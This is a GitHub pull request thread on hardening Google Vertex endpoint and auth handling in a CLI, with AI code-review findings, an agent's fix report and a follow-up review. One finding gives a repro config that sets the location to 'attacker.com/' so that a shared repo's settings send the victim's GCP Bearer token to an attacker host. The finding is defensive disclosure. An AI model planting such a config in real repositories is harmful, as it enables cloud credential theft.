Conversation
| return isGpt5OrLater(modelID) && !modelID.startsWith("gpt-5-mini") | ||
| } | ||
|
|
||
| function googleVertexEndpoint(location: string) { |
There was a problem hiding this comment.
🟠 Unvalidated Vertex location allows endpoint host injection.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:41-45):
Problem: Unvalidated Vertex location allows endpoint host injection
Detail: googleVertexEndpoint() interpolates `location` (from aictrl.json provider options or GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION env) directly into the endpoint hostname with no validation. A value containing `/` or other URL metacharacters (e.g. `attacker.com/`) breaks out of the hostname suffix, producing `https://attacker.com/-aiplatform.googleapis.com/v1/...`, so every request — including the `Authorization: Bearer` header carrying the ADC cloud-platform OAuth token attached in the fetch wrapper below — is sent to an attacker-controlled host. Because aictrl.json is loaded from the working directory (frequently a cloned/shared repo), a malicious repo config can exfiltrate the victim's GCP access token. The pattern is pre-existing, but this PR is the endpoint-hardening change and the new helper is the natural validation point. Repro: place `{"provider":{"google-vertex":{"options":{"location":"attacker.com/"}}}}` in a shared repo's aictrl.json; victim runs any command loading the google-vertex provider with ADC present; requests (with Bearer token) go to attacker.com.
Suggested fix: Validate location in googleVertexEndpoint() before interpolating: accept only `global`, `eu`, `us`, or strings matching /^[a-z0-9-]+$/ (optionally against a known GCP region list); throw a config error otherwise. This also transitively sanitizes the GOOGLE_VERTEX_LOCATION path-segment substitution in the API URL template.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
googleVertexEndpoint() interpolates location (from aictrl.json provider options or GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION env) directly into the endpoint hostname with no validation. A value containing / or other URL metacharacters (e.g. attacker.com/) breaks out of the hostname suffix, producing https://attacker.com/-aiplatform.googleapis.com/v1/..., so every request — including the Authorization: Bearer header carrying the ADC cloud-platform OAuth token attached in the fetch wrapper below — is sent to an attacker-controlled host. Because aictrl.json is loaded from the working directory (frequently a cloned/shared repo), a malicious repo config can exfiltrate the victim's GCP access token. The pattern is pre-existing, but this PR is the endpoint-hardening change and the new helper is the natural validation point. Repro: place {"provider":{"google-vertex":{"options":{"location":"attacker.com/"}}}} in a shared repo's aictrl.json; victim runs any command loading the google-vertex provider with ADC present; requests (with Bearer token) go to attacker.com.
function googleVertexEndpoint(location: string) {
if (location === "global") return "aiplatform.googleapis.com"
if (location === "eu" || location === "us") return `aiplatform.${location}.rep.googleapis.com`
return `${location}-aiplatform.googleapis.com`
}
function googleVertexVars(options: Record<string, any>) {| return isGpt5OrLater(modelID) && !modelID.startsWith("gpt-5-mini") | ||
| } | ||
|
|
||
| function googleVertexEndpoint(location: string) { |
There was a problem hiding this comment.
🟡 Vertex location not normalized; EU/US miss rep endpoint.
| function googleVertexEndpoint(location: string) { | |
| Normalize once: `const loc = location.trim().toLowerCase()` at the top of googleVertexEndpoint (and reuse the normalized value for GOOGLE_VERTEX_LOCATION) so EU/us/"global " all resolve to the intended endpoints. |
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:41-44):
Problem: Vertex location not normalized; EU/US miss rep endpoint
Detail: googleVertexEndpoint() exact-matches the lowercase strings "eu"/"us" (and "global") without trimming or lowercasing the resolved location. A user who sets GOOGLE_CLOUD_LOCATION=EU or VERTEX_LOCATION=US (or a value with trailing whitespace) falls through to the regional template and gets an invalid host like EU-aiplatform.googleapis.com, defeating the new multi-region endpoint support with a DNS failure instead of using aiplatform.eu.rep.googleapis.com. Repro: Given GOOGLE_CLOUD_LOCATION=EU and a google-vertex provider using default location resolution, When any command loads the provider, Then GOOGLE_VERTEX_ENDPOINT resolves to "EU-aiplatform.googleapis.com" and every model request fails DNS resolution.
Suggested fix: Normalize once: `const loc = location.trim().toLowerCase()` at the top of googleVertexEndpoint (and reuse the normalized value for GOOGLE_VERTEX_LOCATION) so EU/us/"global " all resolve to the intended endpoints.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
googleVertexEndpoint() exact-matches the lowercase strings "eu"/"us" (and "global") without trimming or lowercasing the resolved location. A user who sets GOOGLE_CLOUD_LOCATION=EU or VERTEX_LOCATION=US (or a value with trailing whitespace) falls through to the regional template and gets an invalid host like EU-aiplatform.googleapis.com, defeating the new multi-region endpoint support with a DNS failure instead of using aiplatform.eu.rep.googleapis.com. Repro: Given GOOGLE_CLOUD_LOCATION=EU and a google-vertex provider using default location resolution, When any command loads the provider, Then GOOGLE_VERTEX_ENDPOINT resolves to "EU-aiplatform.googleapis.com" and every model request fails DNS resolution.
function googleVertexEndpoint(location: string) {
if (location === "global") return "aiplatform.googleapis.com"
if (location === "eu" || location === "us") return `aiplatform.${location}.rep.googleapis.com`
return `${location}-aiplatform.googleapis.com`
}
function googleVertexVars(options: Record<string, any>) {| const auth = new GoogleAuth() | ||
| const client = await auth.getApplicationDefault() | ||
| const token = await client.credential.getAccessToken() | ||
| const auth = new GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] }) |
There was a problem hiding this comment.
🟡 Vertex fetch mints a new auth token on every request.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:385-387):
Problem: Vertex fetch mints a new auth token on every request
Detail: The custom fetch wrapper constructs a new GoogleAuth and calls getClient()/getAccessToken() on every single HTTP request. Each call re-resolves ADC (credentials file or metadata server) and mints a fresh token, adding a round trip per LLM request and risking metadata-server rate limits. Pre-existing, but this PR rewrites exactly these lines, making it the natural point to hoist the auth client into the closure and let google-auth-library's AuthClient reuse its cached token until expiry.
Suggested fix: Create the client once per provider (memoize in the enclosing scope, e.g. `let clientPromise: Promise<AuthClient> | undefined`) and only call `client.getAccessToken()` per request so google-auth-library's built-in token caching applies.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
The custom fetch wrapper constructs a new GoogleAuth and calls getClient()/getAccessToken() on every single HTTP request. Each call re-resolves ADC (credentials file or metadata server) and mints a fresh token, adding a round trip per LLM request and risking metadata-server rate limits. Pre-existing, but this PR rewrites exactly these lines, making it the natural point to hoist the auth client into the closure and let google-auth-library's AuthClient reuse its cached token until expiry.
location,
fetch: async (input: RequestInfo | URL, init?: RequestInit) => {
const { GoogleAuth } = await import("google-auth-library")
const auth = new GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] })
const client = await auth.getClient()
const token = await client.getAccessToken()
const headers = new Headers(init?.headers)
Code reviewVerdict: Address the major findings before merging. · 🔴 0 · 🟠 1 · 🟡 2 · ⚪ 0 · 0/3 resolved
🤖 Fix all 3 open findings with your agent📋 Out-of-diff findings (3)
Reviewed 2 files · 0 inline · view all 3 findings ↗ aictrl · AI code review for fast-moving teams · aictrl.dev |
Review response — PR #118Verified and fixed all three findings in the existing provider-hardening branch. Issues addressed (pushed to this PR)
Validation: 267 provider tests passed, including invalid config/environment locations, uppercase/whitespace normalization, and concurrent auth/client reuse. CLI and repository-wide typechecks (6 tasks), Prettier, and diff checks passed. Changes were pushed normally without verification bypass flags. Review claims verified false (no change needed)None. Not addressed hereNone. Verdict data-layer persistence is unavailable in this session: matched 0, written 0, verified 0, failed 0, unrecorded 3. The structured sidecar below records all three GitHub verdicts. |
ReviewThe core changes are correct and verified:
Issues1. [Medium] Hard throw during provider registry init has disproportionate blast radius
…gets 2. [Low] The loader at provider.ts:409-425 still reads 3. [Nit] Plain The codebase classifies failures via TestsGood coverage — normalization, rejection (including type confusion and length), env-var precedence, auth reuse, and scope application. Two notes: the empty-string env-var case from issue 1 is currently a throwing behavior, so if you adopt the "treat empty as unset" suggestion, add a test for it; and the scope test's Reviewed SHA: baf4368 |
|
|
||
| // Config options are merged after custom loaders; normalize the final value | ||
| // for native SDKs as well as templated OpenAI-compatible endpoints. | ||
| if (providerID === "google-vertex") provider.options.location = googleVertexLocation(provider.options) |
There was a problem hiding this comment.
🟠 Invalid Vertex location crashes all provider loading.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:1111):
Problem: Invalid Vertex location crashes all provider loading
Detail: googleVertexLocation() throws on invalid input, and it is invoked unguarded in two places that run for every provider load: the google-vertex custom loader (provider.ts:382, called via `const result = await fn(data)` at provider.ts:1085 with no try/catch) and the all-providers normalization loop (provider.ts:1111). Both sit inside `Instance.state(...)`, so one bad GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION value or aictrl.json `options.location` (a zone like "us-central1-a", a typo, an empty string, or a non-string) makes state() reject and Provider.list/getProvider/getModel/defaultModel fail for ALL providers, including unrelated ones. Before this PR the same values only produced a broken hostname for google-vertex models at request time. The neighbouring code in the same loops degrades gracefully (log.error + continue at provider.ts:1082-1083, delete + continue at provider.ts:1105-1106), so the fail-hard crash is also inconsistent with the file's own convention. Repro: Given GOOGLE_CLOUD_LOCATION=us-central1-a (a zone, commonly exported in gcloud shells) and any config that mentions google-vertex, When the user runs any command that resolves providers, Then state initialization throws "Invalid Google Vertex location" and every provider/model operation fails, including unrelated providers.
Suggested fix: Contain the failure to the google-vertex entry, matching the loop's existing degradation convention: wrap the normalization in try/catch and on failure log.error the reason and delete/skip the google-vertex provider (`try { provider.options.location = googleVertexLocation(provider.options) } catch (e) { log.error(String(e)); delete providers[providerID]; continue }`), and/or catch the loader throw at the `await fn(data)` site. Alternatively defer validation to first use (fetch/getSDK) instead of provider enumeration so a misconfigured Vertex cannot take down unrelated providers.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
googleVertexLocation() throws on invalid input, and it is invoked unguarded in two places that run for every provider load: the google-vertex custom loader (provider.ts:382, called via const result = await fn(data) at provider.ts:1085 with no try/catch) and the all-providers normalization loop (provider.ts:1111). Both sit inside Instance.state(...), so one bad GOOGLE_CLOUD_LOCATION/VERTEX_LOCATION value or aictrl.json options.location (a zone like "us-central1-a", a typo, an empty string, or a non-string) makes state() reject and Provider.list/getProvider/getModel/defaultModel fail for ALL providers, including unrelated ones. Before this PR the same values only produced a broken hostname for google-vertex models at request time. The neighbouring code in the same loops degrades gracefully (log.error + continue at provider.ts:1082-1083, delete + continue at provider.ts:1105-1106), so the fail-hard crash is also inconsistent with the file's own convention. Repro: Given GOOGLE_CLOUD_LOCATION=us-central1-a (a zone, commonly exported in gcloud shells) and any config that mentions google-vertex, When the user runs any command that resolves providers, Then state initialization throws "Invalid Google Vertex location" and every provider/model operation fails, including unrelated providers.
if (!isProviderAllowed(providerID)) {
delete providers[providerID]
continue
}
// Config options are merged after custom loaders; normalize the final value
// for native SDKs as well as templated OpenAI-compatible endpoints.
if (providerID === "google-vertex") provider.options.location = googleVertexLocation(provider.options)
const configProvider = config.provider?.[providerID]| const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1" | ||
| const location = typeof raw === "string" ? raw.trim().toLowerCase() : "" | ||
| if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) { | ||
| throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.") |
There was a problem hiding this comment.
🟡 Bare new Error deviates from NamedError convention.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:45):
Problem: Bare new Error deviates from NamedError convention
Detail: provider.ts reports failures through structured typed errors built from NamedError.create in packages/util/src/error.ts (e.g. `throw new InitError({ providerID }, { cause: e })` in getSDK, ModelNotFoundError in getModel). The new `throw new Error("Invalid Google Vertex location...")` is a bare string Error, bypassing the structured error pipeline the rest of this namespace uses for user-facing reporting.
Suggested fix: Define the error via NamedError.create (e.g. ProviderOptionError with providerID/option/value fields) and throw it with the offending value and providerID, keeping the human-readable hint in the message.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
provider.ts reports failures through structured typed errors built from NamedError.create in packages/util/src/error.ts (e.g. throw new InitError({ providerID }, { cause: e }) in getSDK, ModelNotFoundError in getModel). The new throw new Error("Invalid Google Vertex location...") is a bare string Error, bypassing the structured error pipeline the rest of this namespace uses for user-facing reporting.
const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")
}| const location = googleVertexLocation(options) | ||
|
|
||
| return { | ||
| GOOGLE_VERTEX_PROJECT: project, |
There was a problem hiding this comment.
🟡 GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:62-64):
Problem: GOOGLE_VERTEX_PROJECT interpolated into URL unvalidated
Detail: googleVertexVars() strictly validates `location` but exports `project` verbatim from the same untrusted sources (aictrl.json options or GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT env) as GOOGLE_VERTEX_PROJECT, which is string-interpolated into the templated API URL path (https://${GOOGLE_VERTEX_ENDPOINT}/v1/projects/${GOOGLE_VERTEX_PROJECT}/locations/...). A project value containing '/', '?', '#', or '..' rewrites the path or query on the validated googleapis.com host — the same trust boundary and interpolation pattern that motivated the location hardening, left unchecked. Impact is bounded (the host is already validated) but it enables path/query confusion.
Suggested fix: Validate project alongside location, e.g. `if (!/^[a-z][a-z0-9-]{4,28}[a-z0-9]$/.test(project) && !/^[0-9]{4,30}$/.test(project)) throw ...` (project ID or project number) inside googleVertexVars, mirroring googleVertexLocation.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
googleVertexVars() strictly validates location but exports project verbatim from the same untrusted sources (aictrl.json options or GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT env) as GOOGLE_VERTEX_PROJECT, which is string-interpolated into the templated API URL path (https://${GOOGLE_VERTEX_ENDPOINT}/v1/projects/${GOOGLE_VERTEX_PROJECT}/locations/...). A project value containing '/', '?', '#', or '..' rewrites the path or query on the validated googleapis.com host — the same trust boundary and interpolation pattern that motivated the location hardening, left unchecked. Impact is bounded (the host is already validated) but it enables path/query confusion.
function googleVertexVars(options: Record<string, any>) {
const project =
options["project"] ?? Env.get("GOOGLE_CLOUD_PROJECT") ?? Env.get("GCP_PROJECT") ?? Env.get("GCLOUD_PROJECT")
const location = googleVertexLocation(options)
return {
GOOGLE_VERTEX_PROJECT: project,| function googleVertexLocation(options: Record<string, any>) { | ||
| const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1" | ||
| const location = typeof raw === "string" ? raw.trim().toLowerCase() : "" | ||
| if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) { |
There was a problem hiding this comment.
🟡 Regex now rejects zones and legacy values on a backport.
| if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) { | |
| Either accept zones by stripping a trailing single-letter `-a..z` suffix before validating, or keep the rejection but document the newly rejected forms (zones, empty string, non-strings) in the changelog/release notes for the backport. |
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:44-45):
Problem: Regex now rejects zones and legacy values on a backport
Detail: The pattern requires a trailing digit run, so zone-style locations like "us-central1-a" (commonly exported in gcloud-oriented shells as GOOGLE_CLOUD_LOCATION) and any legacy value without trailing digits now hard-fail, as do empty strings and non-string config values the old code tolerated. Before this PR such a value loaded fine and merely produced a broken hostname at Vertex request time; combined with the new throw-at-load behavior this is a silent breaking change for existing configs, and this PR targets a backport branch.
Suggested fix: Either accept zones by stripping a trailing single-letter `-a..z` suffix before validating, or keep the rejection but document the newly rejected forms (zones, empty string, non-strings) in the changelog/release notes for the backport.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
The pattern requires a trailing digit run, so zone-style locations like "us-central1-a" (commonly exported in gcloud-oriented shells as GOOGLE_CLOUD_LOCATION) and any legacy value without trailing digits now hard-fail, as do empty strings and non-string config values the old code tolerated. Before this PR such a value loaded fine and merely produced a broken hostname at Vertex request time; combined with the new throw-at-load behavior this is a silent breaking change for existing configs, and this PR targets a backport branch.
const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1"
const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")
}| function googleVertexLocation(options: Record<string, any>) { | ||
| const raw = options["location"] ?? Env.get("GOOGLE_CLOUD_LOCATION") ?? Env.get("VERTEX_LOCATION") ?? "us-central1" | ||
| const location = typeof raw === "string" ? raw.trim().toLowerCase() : "" | ||
| if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) { |
There was a problem hiding this comment.
⚪ Magic length cap 52 for location is unexplained.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:44):
Problem: Magic length cap 52 for location is unexplained
Detail: The `location.length > 52` guard is an undocumented magic number with no named constant or derivation note; the longest real GCP region ids are ~25 chars, so the origin of 52 is opaque to maintainers. The regex on the same line already encodes the shape rules.
Suggested fix: Extract a named constant with a short derivation comment, e.g. `const MAX_VERTEX_LOCATION_LENGTH = 52 // defensive cap; longest GCP region ids are ~25 chars`, or encode segment length bounds in the regex instead of a separate numeric cap.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
The location.length > 52 guard is an undocumented magic number with no named constant or derivation note; the longest real GCP region ids are ~25 chars, so the origin of 52 is opaque to maintainers. The regex on the same line already encodes the shape rules.
const location = typeof raw === "string" ? raw.trim().toLowerCase() : ""
if (location.length > 52 || !/^(?:global|us|eu|[a-z]+(?:-[a-z]+)+[0-9]+)$/.test(location)) {
throw new Error("Invalid Google Vertex location. Use global, us, eu, or a region such as us-central1.")
}| const autoload = Boolean(project) | ||
| if (!autoload) return { autoload: false } | ||
| const location = googleVertexLocation(provider.options ?? {}) | ||
| const { GoogleAuth } = await import("google-auth-library") |
There was a problem hiding this comment.
⚪ google-auth-library import now eager at provider load.
🤖 Fix with your agent
Fix this code review finding (aictrl-dev/cli PR #118, packages/cli/src/provider/provider.ts:384-386):
Problem: google-auth-library import now eager at provider load
Detail: `await import("google-auth-library")` moved from inside the fetch callback (loaded on first request, only for actual Vertex usage) to provider-load time: it now runs during state initialization whenever a project env var is set (GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT are common in GCP shells and CI), adding the module-load cost to every CLI startup for users who may never use Vertex. If the dynamic import ever rejects, the throw now happens inside the shared CUSTOM_LOADERS loop and breaks all provider resolution instead of a single provider's request.
Suggested fix: Keep the module lazy while sharing the instance: memoize inside the closure, e.g. `const getAuth = async () => new GoogleAuth({ scopes: [...] })` with the import inside a lazily-resolved promise, invoked from the fetch wrapper on first use.
Implement the fix on the PR head branch and add a regression test that fails before the fix and passes after.
Why this matters
await import("google-auth-library") moved from inside the fetch callback (loaded on first request, only for actual Vertex usage) to provider-load time: it now runs during state initialization whenever a project env var is set (GOOGLE_CLOUD_PROJECT/GCP_PROJECT/GCLOUD_PROJECT are common in GCP shells and CI), adding the module-load cost to every CLI startup for users who may never use Vertex. If the dynamic import ever rejects, the throw now happens inside the shared CUSTOM_LOADERS loop and breaks all provider resolution instead of a single provider's request.
const autoload = Boolean(project)
if (!autoload) return { autoload: false }
const location = googleVertexLocation(provider.options ?? {})
const { GoogleAuth } = await import("google-auth-library")
// GoogleAuth shares ADC resolution and token-refresh state for this provider.
// Credential discovery remains lazy until the first custom fetch.
const auth = new GoogleAuth({ scopes: ["https://www.googleapis.com/auth/cloud-platform"] })
Code reviewVerdict: Address the major findings before merging. · 🔴 0 · 🟠 2 · 🟡 3 · ⚪ 2 · 0/7 resolved
🤖 Fix all 7 open findings with your agent📋 Out-of-diff findings (7)
Reviewed 2 files · 0 inline · view all 7 findings ↗ aictrl · AI code review for fast-moving teams · aictrl.dev |
No linked issue.
Intent
The custom Vertex transport used by the CLI had incomplete auth-client setup and did not use regional REP endpoints for
usandeulocations.Expected Impact on Users
Vertex requests use the documented cloud-platform scope and regional endpoints, reducing authentication and routing failures for custom transports.
Expected Outcomes
usandeuVertex locations useaiplatform.<location>.rep.googleapis.com.Implementation
Scope Caveat
This covers the custom transport path. Native Vertex SDK authentication remains managed by the SDK, and live ADC connectivity was not exercised.
Test Plan
Verification
Risks and Rollout
The change is isolated to provider configuration and auth setup. Roll back the branch if deployment credentials require a different scope policy.